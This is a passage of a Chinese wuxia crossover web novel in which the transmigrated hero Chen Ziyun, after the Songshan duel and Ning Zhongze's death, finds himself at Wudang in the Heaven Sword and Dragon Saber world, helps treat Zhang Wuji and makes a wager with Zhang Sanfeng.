岳不群最后华山派那三个字简直就是从喉咙地下吼出来了,竟然有些恢复了原来的厚重,不再是太监般的尖利。 此时相思刀还在宁中则手中,陈子云就算是立刻拔出来也来不及当下这突兀的一剑。 陈子云一个侧身,直接用自己的左肩迎上了岳不群这一最卑鄙无耻的一剑。剑入体,陈子云同时一掌拍在宁中则的肩头,他这一招用的是隔山打牛的巧劲。 宁中则受掌,受力的却是后面的岳不群,直接就打的他不得不松开了手里的剑,跌了出去。 “哈哈哈,苏梦枕,你这个天下第一也不过如此。” 岳不群发髻凌乱,有些癫狂的指着陈子云笑道。 陈子云点了自己左肩附近的几处穴道,以此暂时止血。随即,一把拔出长剑,丢在脚下。 “岳夫人,松手吧,你的目的达到了。” 陈子云没有看已经疯狂了的岳不群,而是对着宁中则说道。 此时的宁中则瞳孔中似乎已经没有了光,眸子里死气一片,可不管是陈子云造成的刀伤,还是岳不群造成的剑伤,都不至于是致命的。 “岳夫人?” 陈子云再次呼唤道。 可随即,宁中则的动作却是惊煞了所有人,只见她一把拔出陈子云插在她右臂上的相思刀,直接几划过了自己的咽喉。 相思本来就锋利无比,这一刀下去就是大罗神仙来了也是难救了。 “夫人?你......” “师妹?” “娘......” 陈子云也是惊愕的说不出话来,他虽然能感受到宁中则的死志,但也没料到她会如此果决,又如此突兀的死在自己的相思刀下。 岳灵珊见自己母亲自尽,神情激动之下已经昏了过去。而刚才昏迷的令狐冲反而醒了过来,也许他也是感应到了至亲的离世。 “师娘。” 令狐冲一声凄厉至极的呼唤,直接不顾自己的伤势冲了上来,要不是任盈盈借机扶着他,估计他要上封神台都难。 “苏梦枕,你还我师娘命来。” 令狐冲也没想着拔剑,在靠近之后,直接就朝着陈子云扑了上来。 可就他现在这状态,除了惹得他身旁的人担心紧张之外,又能有什么作用。 “令狐冲,你是找死吗?” 陈子云此时心情也是差的很,要是令狐冲这个所谓的主角再敢撩拨自己,他可不介意让这笑傲江湖的主角先一步归西。 任盈盈连忙拉住发狂的令狐冲,恒山弟子也是纷纷拔剑护在左右。 陈子云蹲下身,看着还依旧被宁中则紧紧握在手里的相思,轻轻一拔竟然没有直接拔出来。 他侧脸看了一眼已近衣服已经被自己鲜血浸湿的宁中则,看着她即使死去也依旧凄楚的面容。 不由得叹了口气轻声说道:“宁女侠,放手吧,我今天不杀岳不群就是了。” 可这也不过是陈子云自己的遐想,一个死了人,哪里还能真的操控自己身体的,他只是一根根将宁中则的手指掰开,拿出相思刀罢了。 “师娘啊......” 令狐冲哀嚎着爬到了宁中则的身边,任盈盈则是忌惮的盯着陈子云手里的刀,就是这把刀差点就杀了东方不败。 而她当时连插手与东方不败之战的资格都没有,现在对方又几乎压着练了《辟邪剑谱》的岳不群打,如何让她不心颤。 “阿弥陀佛,令狐掌门还请节哀,宁女侠着实可惜了。” 方证跟冲虚也来到了台上。 陈子云扫视了四周一眼,此时的嵩山之上早就不见了岳不群与林平之的身影,不过他也没在意。 “方证大师,冲虚道长,此间事了,苏某就告辞了。” “不行,你不准走。” 令狐冲激动的哭嚎道。 “冲哥。” 任盈盈有心劝说令狐冲,他师娘是自杀的,可这时候见了令狐冲那悲痛欲绝的神情,到嘴边的话又怎么能说得出口。 心想着要是令狐冲真的要找这苏梦枕报仇,大不了自己跟着一起拼一把就是了。 “令狐掌门,宁女侠是自我了断,却与苏少侠关系不大。” 冲虚道长也是不想看令狐冲一时冲动做出糊涂事来。 “可如果不是他,不是他说出那些话,我师娘又怎会如此!” 令狐冲把他那满手的眼泪鼻涕指向苏梦枕,愤恨交杂的吼道。 陈子云厌恶的往后退了一小步。 “想报仇,等你养好伤再来找我。” “你不准跑,今天我就是死了,也要为师娘报仇。” 令狐冲见陈子云退后了一步,激动的一把抓来,连身上的伤口被牵动,流出的血都没有察觉。 可就他现在这狼狈摸样,要不是任盈盈乘机抱住了他,怕是没等到他的手够到陈子云,自己便先倒下了。 陈子云转身便下了封禅台,台下的众人见他下来,连忙自觉的便分开了一条道让他通过。 连他们的五岳剑派新任掌门也不是这人的对手,他们又怎么敢动手。 何况,如今岳不群传出自宫练剑这般的消息,他们五岳剑派估计也没脸合并了,又何必与这个天下第一的人物为难。 因为陈子云左手臂上不甚被岳不群刺伤,他在嵩山脚下找了一家医馆,做了一些包扎,又休息了两天才启程出发。 这一日,临近中午,正打算找了一家饭店吃饭,却看到一群尼姑和几个恒山的俗家弟子都在埋锅做饭。 众人见他来了,神情有些戒备,陈子云只是笑笑,他对于这群小尼姑大尼姑倒是没什么敌意。 在笑傲江湖里,这帮大小尼姑算得上是难得的“好人”,不过按照陈子云的想法,尼姑还是安心在自己的尼姑庵里诵经最好,出来混什么江湖。 “好人”在这江湖上可不是什么好词,死的最早的往往就是一些本事不济,却要当“好人”的存在。 第五十一章 顺手一刀 陈子云打量了一番,却是没看到令狐冲这个病号,任盈盈也不在,想来不是在嵩山上给宁中则办理丧事,就是护着灵柩回华山去了。 陈子云找了一个角落,问店家要了一些吃食,在这种小店里,就别指望有什么美味佳肴,只要是干净些就行。 陈子云刚扒下半碗饭,草棚外就陆陆续续来了不少人,先是余沧海来了,看着他那神思不属的摸样,看来是被林平之给吓唬惨了。 不过陈子云也不打算管这些屁事,自顾自的背对着众人,慢条斯理的吃着自己的饭。 但是当林平之也进来草棚的时候,陈子云还是皱了皱眉头,实在是太香了,香的连他桌上的饭菜也被染上了味道。 陈子云有些恶心的放下了手中的饭碗,实在是倒人胃口啊。就不能学学东方不败,好好的一个人躲在闺阁里绣花吗,非要出来恶心人。 后来木高峰那个丑驼子也来了,陈子云这下是彻底没胃口了。不过他手上倒是没有了岳灵珊这个人质,想来比起帮自己丈夫报仇,给自己母亲守孝,还是更重要一些。 木高峰就是胆子再大,想必也是不敢直接上嵩山抓人的。 陈子云本来不想理会他们,可过分的是,不知怎么的,木高峰这死坨子竟然骑着马就往他这边的柱子撞过来了。 要是被这马一撞,本来就不怎么牢固的草棚,还不立即就要崩塌。 陈子云也不废话,回手就是一刀,轻轻在那马脖子上一划,随即整个马头就从马身体上掉下来了。 “要打出去打,打坏了人家东西,不要赔的吗!” 陈子云这一出手,除了那些个知道他在这里的恒山弟子,都是悚然一惊。当看清楚他摸样的时候,林平之简直就想拔腿就跑,余沧海跟木高峰也是同样两股战战。 可陈子云说完这句话,也就没在理会,只是又自顾自的坐下,看着自己面前的饭菜纠结。虽然自己已经尽量控制了,可马血还是不可避免的撒到了桌上,这饭菜是彻底不能吃了,浪费啊。 几人见陈子云不说话,都小心翼翼的退出了草棚。 等林平之再三确认这苏梦枕似乎不是来找他麻烦的时候,才放下心来,重新把目光放在了自己的两个大仇人身上。 只要他今天能报了仇,哪怕真的死在这苏梦枕的刀下也无所谓了。 三人在草棚外,乒乒乓乓的过招,结果还是没什么区别。 回头看了一眼,身受重伤,连眼睛都瞎了的林平之在那边发狂似的喊叫着:“我报了仇啦,我报了仇啦!” 不过现在可没有令狐冲给他送灵药,也没有岳灵珊在一旁照顾,林平之只能自己在那里继续癫狂。 此人父母双亡,家门不在,又被自己的师父兼职老丈人算计的死死的,身边除了一个岳灵珊根本没人愿意管他。 可怜啊,为了练剑报仇,已然自宫,岳灵珊的存在也变成了对他最大的讽刺,时刻在提醒他,自己不过是个无用之人。 如今大仇报了,却是毁容瞎眼,活在这世上也不过是苟延残喘。 “报仇的感觉如何?” 陈子云慢悠悠的来到了林平之的身边问道。 “苏梦枕,你也不是什么好东西,要不是偷学了我家剑谱,又哪里来的如此功夫,你也跟我一样,也是个太监。哈哈哈......呃......” 林平之猖狂的笑声在一道血红色的刀光中戛然而止。 “真是晦气,今天一连斩了两头畜生,回去要把相思好好清洗一番了。” 陈子云又缓缓的走回草棚,牵了自己的马,顾不得那些大小尼姑惊骇的目光,缓步走在还算明媚的三月份的阳光里。 因为回福州也没什么重要的事情,所以陈子云一路上也是走走停停,路过长沙的时候他又去了一趟岳麓书院,准备去拜访一番上次结实的那两位好友。 可惜两人也都出门去了,不过陈子云也就是可惜了一声,然后便是一路南下,去了一趟广州玩耍。 这一路上也听到了江湖中人都在传自己的名头,毕竟苏梦枕在嵩山封禅台这么一闹,可以说是直接就毁了五岳剑派并派的希望。 左冷禅瞎了,便再也不可能做这五岳剑派的掌门,而岳不群此刻更是没有了踪迹。 自从他自宫练剑的消息被陈子云说破,怕是连华山派他都不敢回了。 陈子云想着,要是让风清扬知道了岳不群自宫练剑的消息,会不会按捺不住提剑下山,一剑结果了这有辱师门的恶心东西。 以希望华山派能在十年之后,重新找回颜面。 不过这毕竟只是陈子云的遐想,倒是另一个消息让他觉得有些意思。令狐冲却是传下了恒山派掌门的位置,而被华山派的人请回去当掌门了。 不过想想也是,这个时候,如果令狐冲还不站出来扛旗,就现在华山上剩下的两三只小猴子,估计就真的要断传承了。 只有这里面有没有风清扬的操作,陈子云倒是不敢论断,不过这也不是他关心的事情。 这些东西,应该是现在令狐冲要头疼的。 正所谓“三千烦恼皆抛下,十万名山任遨游。”真想要笑傲江湖,陈子云有一番自己的理解。 他看不上令狐冲那种什么都不想管,只是逃避的隐居的心思。因为那在陈子云看来,那不是笑傲江湖,只是归隐江湖。 真正想要笑傲江湖,你必须要有拿得起一切,扛得住一切的实力,也要有放得下一切,担得起一切后果的心境。 只有身处其间,而又能心游物外,从更高的层次来俯视整个江湖,才能称得上是笑傲。 ...... 等陈子云这一圈游下来,再回到福州的时候,已经是快到六月份了,他出去这一趟足足玩了两个多月。 陈子云回福州的第二天,就去了城中的金风细雨楼。 此时的金凤细雨楼经过这半年多的发展,已经算得上是有模有样了,除了那些弟子还需要时间成长,俨然有了江湖大派的底蕴。 这也是主要归功于,如今已经走出了福州,遍布江南的香水销售产业源源不断的供给。 第五十二章 山深不知处 常言道,财可通神。不管是培养高手,还是招揽帮众,有了钱一切都是好办不少。 当然这其中也少不了曲非烟自己的努力,如今这个不过二八的小姑娘,已经有了一派之主的担当。 通过以金风细雨楼的名义,曲非烟在福州内外开设了很多的善堂,专门用来收留那些鳏寡孤独者。 虽然不一定有多么好的条件,但终究能给他们一餐饱饭,一片遮雨的屋檐。 所以在福州这边,金风细雨楼在百姓中间还是很有些名望的,也与一般的江湖门派不同。 “陈大哥,你终于回来了,我听到你的那些消息,实在是振奋的很。” 曲非烟如今的穿着也成熟了不少,不在像以前那么艳丽,但是面上的容光却是更加灿烂了,小姑娘也长开了啊。 “那些事加起来,也不如你在福州开的一间善堂重要。” 陈子云摇着头笑着说道。 “陈大哥,你人不在福州,却是知道的这么清楚。” “这是当然,我一回来就听人说,福州城出了个乐善好施的仙女,是观音娘娘坐下的善财龙女,是被菩萨派下来救苦救难的。” “啊呀,这不过是些什么都不懂的百姓说的呆话,连陈大哥也这么笑话我。” “我这可真不是笑话,不单单是普通百姓这么说,就是官面上,也对金风细雨楼多有褒奖。 称你们是真正的侠义之士,而不是那些只会打架抢地盘的江湖黑帮。” “嘻嘻,这也是因为陈大哥想出来的香水实在是太好了,要是没有这东西让金风细雨楼日进斗金,我怕是也要跟别的江湖门派去抢地盘,收黑钱。” 曲非烟笑嘻嘻的凑到了陈子云的面前,摇着他的手讨好的说道。 陈子云接下来的日子就是看看书,做做文章,闷了就去找李不器杨弘毅这些同窗喝喝酒,生活的倒是惬意自在。 当然也会偶尔被来探望他的三叔公抓着去给族学里的小子们上上课,而陈钰跟陈秋就理所当然的成了他的助理。 每次他去族学里上课,他们两个就屁颠屁颠的跟在后头。作为跟过陈子云去过京城见世面的两人,没少在自己的这些弟弟妹妹面前吹嘘。 京城是如何如何大,怎么怎么样的繁华,他们这个小叔又是如何的厉害,将来一定会当大官之类的话。 ...... 一日,陈子云同几个好友到福州城外的山林间狩猎,各自立下赌约,以谁猎得的飞禽数目多者为胜,最少者需要出资在聚贤雅叙客情一番。 陈子云自无不可,本来他就是几人中间射艺最好的,何况如今的他也不缺那点银两。 几位友人各自分散在林里寻找猎物,陈子云向北,其他的几位就自觉的去了东南西三个方向。看来他们也知道,跟陈子云一路是没什么机会抢到猎物的。 对于这样游戏般的比赛,陈子云也不会太认真,先贤曾言“数罟不入洿池,鱼鳖不可胜食也。” 这山林之中的牲畜也是同样的道理,狩猎可以,但不能赶尽杀绝。 “子钓而不纲,弋不射宿。” 陈子云遇见了怀崽的母兽便收手,看到在窝里喂食幼鸟的飞禽便收弓,所以这一路北来,遇见的猎物不少,但出射箭的机会却是不多。 马都跑的累了,到手的猎物却是寥寥。 陈子云看了看已经当头的日头,也不在意这次狩猎游戏的输赢,就勒马转头,往南来的方向慢慢回走。 可走了没多久,陈子云及发现事情有些不对了。虽然他没有认真的去记忆过刚才经过的山林两边的情况,但成片成片的树林物种的变化他还是能分别的出来的。 那些阔叶乔木不见了,本来山地里偶尔可见的野荔枝,野柑橘也没了,反而细叶的水杉倒是随处可见,这根本不是南国的风貌,反倒是往北走了。 就连如今他不再剧烈运动后,连体感的温度也似乎差了一些,要知道陈子云刚出来的时候可还没有如今的艳阳高照,怎么能反而冷了。 陈子云勒马四顾,这样的变化让他有些不安,面对这样无法用常理解释的超自然现象,就算你武功再高,也会心慌慌。 不过既然连第二世都活出来了,何必还要怕这些个怪力乱神,说不定他陈子云今天还能发现个武陵桃花源呢。 安抚了心绪,牵着马在山间小路间穿行,也不知过了多久终于来到一个两山相交是山坳里,也算是看到了一些算得上是正路的山道。 “咱们这一场热闹凑的,逼死了武当七侠中的一位,还害得他夫人自尽,这下梁子怕是结大了。” “怕什么,这梁子又不是只有你我,不是还是有少林,峨眉这些大派顶着吗?我们两个在这些大派面前,算的上什么。不是我看不起自己,人家武当的大侠们估计都不记得你我是谁。” “这......这道也是。” 陈子云听力极好,那伙从山上下来的人还离的甚远,便已经能听到一些了。 那一伙人,首尾相连络绎不绝,陈子云望着下来的山头,估算一下,不下百人。其中僧尼道士俗家皆有,难道是在山上开完水路法会刚下来? 陈子云正愁着没处问询,这里是何处地方,便向着队伍里的两个年轻人拜了一拜问道:“两位兄台,可否告知这里是何处?” “书生,别当道,老子这辈子最恨你们这些满口仁义道德的东西。” 陈子云皱着眉头看了对方一眼,摇摇头。 他毕竟不至于为了这点小事跟人犯冲,本来自己有求于人,既然对方不愿,也不能强求,但是如果他敢再出言不逊,那就另说了。 好在那人似乎也急着赶路,没有再理会陈子云,自己下山去了。 陈子云看着迎面而来的三个老僧,走在中间的那位大师白眉下垂,直覆到眼上,便似长眉罗汉一般;在他左侧的一位大师身躯雄伟,貌相威武;在他右侧的大师却是一脸的苦相,嘴角下垂。 陈子云想来出家人应该总是好说话的,他对少林寺方证方生两位大师的感官还是不错的。 “几位大师,小生有礼。” 然后那三个和尚便看都没看他一眼,就径直的从身边过去了。 第五十三章 武当非武当 “咔嚓。” 陈子云本来已经放在马鞍一侧的弓箭直接被他捏碎了,他笑了,笑的有些让人心寒。 “这位公子,你是有什么事吗?” 一声如黄鹂颂歌般是问候,让陈子云有些错愕的回头,也收回了已经指向那三位老僧的指头。 陈子云看到面前一位二十来岁的姑娘,肤色雪白、长挑身材,美貌可人。 “小生有礼,多谢姑娘慰问。小生本来与友人在附近狩猎,却意外在山林里迷了路,出来却不认得这是何处,所以正想找人询问。” “公子客气了,这里便是.......” 还没等着美丽的姑娘说完,一声大喝传来。 “纪师妹,你又做甚,还不跟上。” 只见一个四十来岁年纪,身材高大,神态威猛,比寻常男子还高半个头的中年尼姑正在前头怒目。 “是,静玄师姐,我这就来。公子,师姐召我,这里是武当山,你若无事便不要在这里呆了,赶紧下山去吧,今日的武当山,怕是不会欢迎客人了。” 那美丽女子边说边走,等最后一个字说完,已经都快跑起来了,看来她很怕那个中年尼姑。 陈子云回头看向那山头,上次在少林寺里跟冲虚还说过,对方如果不答应他比剑的要求,自己就上武当找他,没想到这就一语成谶了。 可自己到底是如何从千里之外的福州山林,几步就到了这里的。陈子云在脑子里转悠思考了半天,也没能找到丝毫的答案。 “想不明白,就先搁着吧。既然到了此处,不去拜访一下武当,也说不过去了。” 陈子云跨上马,与逐渐稀疏的人流相向,逆行而上。 陈子云不久就到了山门前,奇怪的是,这山门前竟然无人守卫。他把马拴在一边的树桩子上,自己先进了门。 直到陈子云来到大殿的广场前,才看到有几个行色匆匆的小道士。还不到他开口问询,那小道士反而神情激动的冲过来了。 “你怎么还没走,我五师叔都被你们害死了,你还想怎么样,真当我们武当派是泥捏的吗?” 那小道士神色甚为激烈。 陈子云尴尬的摸了摸鼻子,他怀疑自己今天是不是犯冲了,在山脚下被人喝骂,到了山上还是同样的待遇。 不过念在冲虚的份上,陈子云还是忍住了脾气道:“小道长,苏某是来拜会冲虚道长的,还请通报。” “你这恶人,害了人还不够,还要在这时来戏耍我们,武当山上哪里有个什么冲虚道人。” 那表情憎恶的小道士这话一出,陈子云不由得抬头看天,他此时的眼睛里有了明显的不解。 “连时间也不对吗?” 陈子云当然不会人为是这个小道士在拿自己的掌门开玩笑,而刚才上山时遇到的那些人,也看得出他们都是身怀武功的江湖人。 而那三个老和尚的修为更是高强,如果这三人是少林寺的高僧,那他们就不可能不认识自己。 可结果却是,那一百来号的江湖中人,竟然没有一个人认识他这个天下第一的苏梦枕的。 可陈子云还是想彻底证明一番,毕竟时空穿梭这样的稀奇事,如何能这般轻易的让人接受。 “冲虚道长,苏某前来拜见,还请现身一见。” 空山余音,陈子云的这句话在武当山头到处回荡,哪怕是那些下山慢了一些的江湖人也听到了。 “你.....” 那小道士气不可遏,如果不是想到自己师父的教诲,不得对客人动手,他早就想教训这个书生摸样的人了。 “是谁人在武当山上放肆。” 一个青年执剑而来,小道士连忙做了一个礼。 “敢问这位兄台如何称呼?” 陈子云问道。 “你当真不认得我?” 那青年喝道。 陈子云摸摸鼻子,自己倒是想认识你的,可现在他连自己都快不认识自己了。 “好,既然你敢留在武当山上,自然有所凭借,那就接招吧。” 也不等陈子云辩驳,直接就一剑攻上,好在这一剑只是试探,并没有直接就朝要害攻来。 陈子云此时也是心里不舒服的很,今天倒霉事情本来就够多了,随即也不客气,接招回招。 过了几招之后,他也明白了,这里怕真不是他认识的武当了。因为这个青年人的内家功夫虽然有些相似,但这剑法招式还全然不是太极剑路数。 “梨亭,住手,这位小友已经处处留手了。” 一个邋遢老道突兀的出现在陈子云面前。 “梨亭?殷梨亭?你是张三丰?” 陈子云此时也是瞪大了眼睛,如果不是张三丰那渊渟岳峙气场,配上那邋遢老道的摸样,让他第一时间想到了那位无敌一个世纪的大宗师。 单凭梨亭二字,他怕是也不敢如此确认。而那三个老和尚,加上路上人说的那些话,陈子云才明白,这里竟然是倚天屠龙了。 而此时想必就是张翠山与殷素素自杀,张老道百岁寿宴见血,喜事变丧事,白发送黑发的人生至暗时刻。 “老道正是,多谢小友对小徒手下留情,不知小友此时来此何事?” 陈子云看着那老道眼里还有些红丝,却也在勉力的客气,不由得心头蹦出来一句:“张真人,你若是点头,我现在就可以把那些刚下山的都处理干净,就当是给你拜寿献礼了。” 殷梨亭听了陈子云这话眼里有几分跃跃欲试,可想到纪晓芙也在些人里,就又紧张的看着他。 张三丰只是错愕了一下,便道:“小友,万万不可。” 陈子云盯着这个像是失去儿子一般悲痛的老道,却是真的不想让他为自己徒弟报仇雪恨,不由得多了几分敬佩。 这世上,尤其是这江湖上,真的愿意去相信什么公理正义的人实在太少,若是随便换一个有张三丰这般本事的。 自己儿子被活活逼死在面前,估计当场就把今天上武当的这些人给永远留下了,就算武当弟子再少,可如今可是在自己大本营啊。 可话说回来,也正是因为张三丰这样的品性,又这样教弟子,才让那些所谓的江湖人吃的死死的。君子可以欺之以方啊。 明知道张三丰绝对不是他们任何人能惹得起的,可就是看准了对方不会亲自下场,明摆着上武当来欺负人,嘿。 第五十四章 子云不在,话愁飞 “既然如此,那便依张真人的。我看真人的模样似乎是大耗了内力,是否这武当山内有人受了内伤,小子不才愿意出一份力。” “如此......便多谢.......还不知小友尊讳?” 张三丰本来是不想让外人插手的,可是想到自己师徒几人对那张无忌身上的寒毒没什么好办法,不如让这人试试。 要说这书生会不会在武当山上乘机搞鬼,张三丰也有自己的骄傲的。虽然他平易近人,可在武学一道,如今的江湖真的是没几人能入眼,自然不怕这书生在自己眼皮子底下乱来。 “在下。” 陈子云本来本这对这位大宗师的尊重想报出本名的,可随即想到,在这个世界哪里还有什么陈子云,估计现在的福州还不知道有没有向阳巷呢。 而苏梦枕,却也不适合在这漂泊的乱世里闯荡,因为他他容易相信人了。 “白愁飞。” 不知怎么的,陈子云在说出这个名字的时候,心底竟然在张三丰这位大宗师面前显出几分傲气来。 “白小友,请随老道来。” 陈子云跟着张三丰进了他的云房,就看见几人正围坐着,中间是一个脸色青绿的十来岁稚童,想必这就是那位主角张无忌了。 比起对令狐冲的不屑,陈子云倒是对这位更有耐心一些。这人虽然优柔寡断了些,但是在做人方面确实要好的多,起码他不会跟自己师父顶着干。 至于在情感上三心二意,那不过是一个想来自卑的少年,一下子被众多美女青睐,一时心猿意马,人之常性也。 “莲舟,把孩子给我。你坐一旁凝神调息。” 张三丰从那个抱着张无忌的青年手里接了过来。 “张真人,我且先查看一番这孩子的情况。” 陈子云见张三丰点头,就将手搭在了那碧绿的五指掌印,细细的感受着玄冥神掌的玄奥。 房里的其他几人不知陈子云是谁,殷梨亭便把他的来历与众人说了。几人看陈子云的眼神自然是防备的,可想到既然是自己师父应允的,他们也当然不会说什么,只是小心的看顾着。 玄冥神掌果然有些门道,那股阴寒至极的力道好像就是在这孩子体内生了根,自己虽然不怕,可要是要祛除这股力道是难以做到的。 看着张三丰凭借自己那修炼了八十余载,登峰造极的“纯阳无极功”,一丝一丝的将寒吸走,陈子云也是摇摇头。 这样不过是治标不治本,如果不能彻底将寒气直接祛除干净,后面肯定还会复发。 等张三丰内力消耗的差不多了,陈子云直接道:“张真人,还请先让小子试试。” 张三丰犹豫一下便点头道了一声好。 陈子云也不犹豫,直接一指叹在那掌印之上,只听得张无忌一声大叫:“啊。” “无忌。” 众人紧张的望着,连张三丰的眼睛也紧紧盯着陈子云手下的动作,只见他接二连三的出指,招招点在张无忌的要害之上,只要这指头稍稍多用半分力气,这张无忌当然是立即毙命。 足足二十四指之后,陈子云擦了擦额头的汗珠,对着众人道:“我内功并不如诸位般纯阳,只得把这凝结在掌力中的阴寒之气打散。如今这寒气散入了这位小朋友的四肢百骸,几位还且继续用内力吸附那寒气才好。” 张三丰查看了一番张无忌的状况,虽然寒气还在,但是吸附起来确实容易了不少。 “多谢小友相助,我这可怜的无忌孩儿,终究有救了。” “张真人客气,在下只是尽力而为,后面能不能救下这位小朋友还得是看几位的。” “多一份希望已经是天大的恩情,梨亭,你亲自去安排白小友住下休息。小友消耗不小,武当当尽一份心报答。” “是,师父,多谢白少侠,殷梨亭代我五师哥夫妇拜谢大恩。” 殷梨亭真当是一拜到底。 “拜谢白少侠。” 武当其他几位也是如此。 张三丰教的好徒弟啊。 后面的几天,陈子云依旧待在武当山上,一方面是配合张三丰他们一起治疗张无忌,另一方面也是在跟张三丰这位难得遇见的武道宗师讨教。 陈子云这一身功夫虽然也算的上是出类拔萃,可终究是是得来太过容易,比不得张三丰这种千年一出的武道宗师对武道的理解。 换句话说,就算是苏梦枕,李寻欢,白愁飞三位在此也得低头听张三丰的教诲。 也许在杀人方面那三位不比张三丰差,可在武道修为方面,就算这三位加在一起也不一定能比得过。 陈子云讲不出别的,就把跟冲虚交手时候,了解到的关于太极剑的一些理解说了出来。 “原来如此,多谢小友相告,这剑法却是我道家精华所在,与贫道所修之功竟然是这般的契合,当真奇也怪也。” 张三丰听陈子云讲的,暗暗称奇。 “张真人客气,小子也是见识了一位道家高人演示这套剑法,并非小子所有。” “小友此话是不假的,我观小友功夫自然是已通玄奥,可惜杀伐之心过盛,与我道家养生之意不符,终究与自身无益。” “张真人所言自然不差,可小子观这江湖,下了武当山便是处处杀机。世人恨不得杀尽异己,以成就自身威名。在杀人的时候哪有一个会顾及,那仇敌身后是不是一样有七十老母,三岁儿童。 不过都是逞一时之能,享快刀割头之乐,无人不可杀,亦无人不可杀之。” “哎,老道久不愿下山矣。” 张三丰岿然叹道。他如今已经百岁,此生除了放不下当初那位让他神迷的郭二小姐,剩下的志向也就是希望能祛除鞑子回复汉人江山,最多就加上一个发扬武当。 可如今正是元庭当政,百姓身处水深火热之中。而武当十年前废了一个俞岱岩,现今又死了一个张翠山。 也难怪他说不愿意下山,下山不过也是看那一地的悲凉罢了。 “若是张真人愿意帮帮着天下的可怜人,想必他们也能过的好些。” “小友谬赞了,老道一人之力,保这武当山下的黎明百姓已经是费力了,何况这天下。” “真人误会在下的意思了。天灾之祸并不在人力干涉之中,但是小子觉得人祸却是能消弭些的。 古往今来朝代更替不可避免,但无论兴亡,小子都未看到百姓真的好过过。小子时常深思,历来朝代之中也不乏出过一两个圣君名臣之政,可惜收益的终究不是你我眼下的这些黎民百姓。 所以小子也在想,是不是有些东西,我们一直想错了,百姓活的好坏,与那帝王其实无关。” 陈子云这话就是连活了将近百年的张三丰也是惊愕不已,觉得面前这年轻人属实有些离经叛道之嫌。 第五十五章 寻人不遇 又想到这白愁飞练的武动也是杀伐过剩,不由得担心这样的年轻突然出现在这江湖之中不知是祸是福。 “白小友,老道虽然读书不多,但也知道上古有尧舜,大汉有文景,唐时有贞观,大宋虽然疲软了些,可也出了几个好时候。 至于小友说的天灾人祸,那也不过是天时不应,却与当朝人物无关,百姓黎民能有三年之丰,也可过得一年之灾。 虽然过的依旧不容易,可终究是能安稳的活下来。小友不可太钻到牛角里去,好皇帝终究还是件得来不易的幸事。” 陈子云看着张三丰瞧了片刻,他也知道,自己还是陷入了自己幻想的完美人格里。 张三丰在武道上确实无人能及,可对于这些社会政治相关的事情,又怎么是他这个江湖人能真正了解的呢。 “如此,张真人,还请恕小子鲁莽,小子跟真人打个赌,三年之内小子让着武当所在的一省之内无饥民,到时候真人答应我一个条件,您看如何?” “哈哈哈,小友要是真有如此神通,别说是让老道答应一个条件,就是小友要了这武当,老道也双手奉上。” 张三丰大笑着说道。虽然心里知道多半是这白愁飞书生,看了几本济世安民的书册,便觉得自己能有所作为了。 可心里也隐隐期待,哪怕这人只是让着武当山下一县之地的百姓能都吃饱饭,他这个武当又有什么好珍惜的,送他便是了。 “好,真人,如此便一言为定。” “啪啪啪。” 陈子云与张三丰紫霄宫前三击掌。 陈子云在武当山上一连住了大半个月,等张无忌的情况基本稳定下来了才离开。 虽然有他的帮助,张无忌的情况比原来要好的多,不到半个月的时间就已经能行动自如了,只要不到寒毒发作的时候,看着与常人也是无异样。 可惜那深藏在顶门、心口和丹田寒毒终究是难以祛除,陈子云甚至怀疑,这小子应该不单单是中了玄冥神掌,而是被用了别的手段,才能把这些寒毒牢牢的锁在他的身体里。 可惜陈子云对于医学一道只是略知,做不到替张无忌解毒的程度。 他这段时间跟张小子相处下来,也发现,这个时候的张无忌就是一个未经世事的天真童子,对着一切都充满着好奇与善意。 陈子云不知是该觉得欣慰还是可惜。殷素素那般聪明的人,怎么会不知道这江湖的险恶,如果一直待在冰火岛上自然无妨,天真的过一生也是福气。 可既然已经准备回来了,难道她还打算自己能庇护张无忌一辈子,或者说她在回来的时候已经预感到了什么。 “无忌啊,你父亲可是有铁画银钩之称的,在岛上的时候有没有教你念书练字?” “白叔叔,有的,父亲有教我,可是无忌总是贪玩,写字一直不能让父亲满意。” 张无忌说着就要抹眼泪了。 “无忌,字可以慢慢练,但是有些事情却不能停的,你快十一岁了,一个男孩子到这个年纪,要开始明白事理了。 想来你经历了这些事情,心中也有很多的疑问,叔叔我没什么好送你的,前几日在山下看到了这本《资治通鉴》你不妨多看看。 如果你觉得有趣,以后也可以问的你的那几个叔叔伯伯找一些历史书籍给你看。 千古文章一句话,世上本无新鲜事。 现在很多的事情,你都可以在历史中找到类似的迹象。” “谢谢白叔叔,可是无忌活不了多久了。” 陈子云把手放在张无忌的头上,难得的温柔的说道。 “无忌,死亡并不是最可怕的事情,可怕的是在死亡的时候才发现自己的无知,自己的不甘心,那才可怕。 无忌,如果你想要活得明白,想知道为什么那些人会追着你父母不放,为什么你父母宁可自尽也不愿意说出你义父的下落,就去看书吧。” 张无忌把那边《资治通鉴》抱在自己的怀里,他现在还不是很明白这位白叔叔说的话,但是他喜欢这种像是被父亲一般关爱的感觉。 “嗯,无忌记下了。” 陈子云在第二天就跟张三丰告别了,他之所以跟张无忌说这番话,也不过是希望他以后能少受一些欺骗,至于最终是不是本性难移,那就不是他要考虑的了。 临行前张三丰还尊尊告诫,打赌之事不可求之过急,一切顺其自然最好。陈子云哪里能不明白,这位大宗师是怕他仗着自己武功了得去做什么劫富济贫的勾当,以此来达成目的。 陈子云笑笑不解释,时代性的知识差异,不是一两句话就能说明白的,等他把要找的东西找到了,自然是让事实去证明一切。 陈子云下了武当,一路直扑汉水,这里有一个此间最可怜的女孩儿在等着他。两年后便是父母双亡,小小年纪又遇上个性格偏激的师父。 本来性格最是温柔善良的她,却在师傅的强迫,情人的背叛下生生的成了一个心狠手辣的毒妇。 这种扼杀天性,肆意摧残的成长,生生让一块璞玉被刻画成了一块俗世洪流中的阿堵物。 如果说曲非烟是笑傲江湖里最让人心疼的人物,那倚天里的周芷若就是陈子云最意难平的角色。 可惜,陈子云一连五天在汉水之上游荡也未找到那个出身船家贫女,却依旧天生丽质的小女孩。 也不知道是因为她太小没有被自己父亲带上船来,还是已经明明遇见,却终究擦身而过,不得相见。 “看来你我缘分未至。” 陈子云也不得感慨一声,随即弃船上岸。不是他就这么简单的放弃了寻找周芷若,只是一个人要找到另一个人的概率,总没有一群人去找的概率大。 等自己的计划铺开了,不可能找不到她,何况,就算她真的还是被送上了峨眉,难道他陈子云就不敢去抢人吗? 寻人不遇,陈子云直接调转马头,出湖北入安徽,数日间便赶到了凤阳以东的明光。 第五十六章 蝴蝶谷交易 